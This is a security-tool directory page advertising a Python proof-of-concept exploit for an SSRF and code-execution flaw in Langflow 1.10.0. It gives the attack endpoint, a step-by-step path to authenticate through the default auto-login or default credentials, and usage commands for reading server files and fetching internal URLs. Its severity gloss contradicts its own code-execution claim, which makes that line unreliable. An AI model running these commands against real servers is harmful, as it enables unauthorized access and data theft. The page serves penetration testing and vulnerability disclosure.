Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-12944 — Python PoC exploiting CVE-2026-12944, an SSRF in Langflow 1.10.0 via urllib in custom components, with authenticated read and fetch capabilities. | Kitploit
Tools/GitHubGitHub/shadowforge-cyber/cve-2026-12944
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingAPI Security
GitHubshadowforge-cyber/cve-2026-12944

CVE-2026-12944

Python PoC exploiting CVE-2026-12944, an SSRF in Langflow 1.10.0 via urllib in custom components, with authenticated read and fetch capabilities.

View Repository
19h 28m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-12944: Langflow 1.10.0 — urllib SSRF

Langflow OSS (≤ 1.10.0) — vulnerability allowing arbitrary code execution via urllib.request / socket in custom components.
The component scanner’s denylist missed these standard library modules. Fixed in 1.10.1 (IBM).

Severity: PR:L (Publicly Reproducible / Low severity)

Exploit endpoint: POST /api/v1/custom_component
Requires a session cookie or bearer token.

How to get authenticated access (3 easy paths)

  1. --test — no authentication required. Only performs a public GET /api/v1/version.
  2. --read / --fetch — first authenticate:
  • Auto-login enabled (default on stock Langflow):
    GET /api/v1/auto_login. If the JSON response contains access_token, send Authorization: Bearer … (no username/password needed).
  • Auto-login disabled:
    POST /api/v1/login using --uname / --password in application/x-www-form-urlencoded format.
  • After login, send the payload to POST /api/v1/custom_component.
  • --uname / --password are used only if auto-login is disabled. On a default stock installation they are ignored.

    For authorized testing only. Do not use this against systems you do not own or have explicit permission to test.

    Requirements: Python 3 (standard library only).

    Usage examples

    root@kitploit:~
    python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --test
    python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --read /etc/hostname
    python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --fetch http://127.0.0.1:7860/api/v1/version
    python3 cve-2026-12944-langflow-urllib-ssrf.py -u https://TARGET --read /etc/hostname --insecure
    python3 cve-2026-12944-langflow-urllib-ssrf.py -u TARGET --uname langflow --password langflow --read /etc/hostname
    

    Credits

    Report & PoC: ShadowForge Cyber

    Download Tool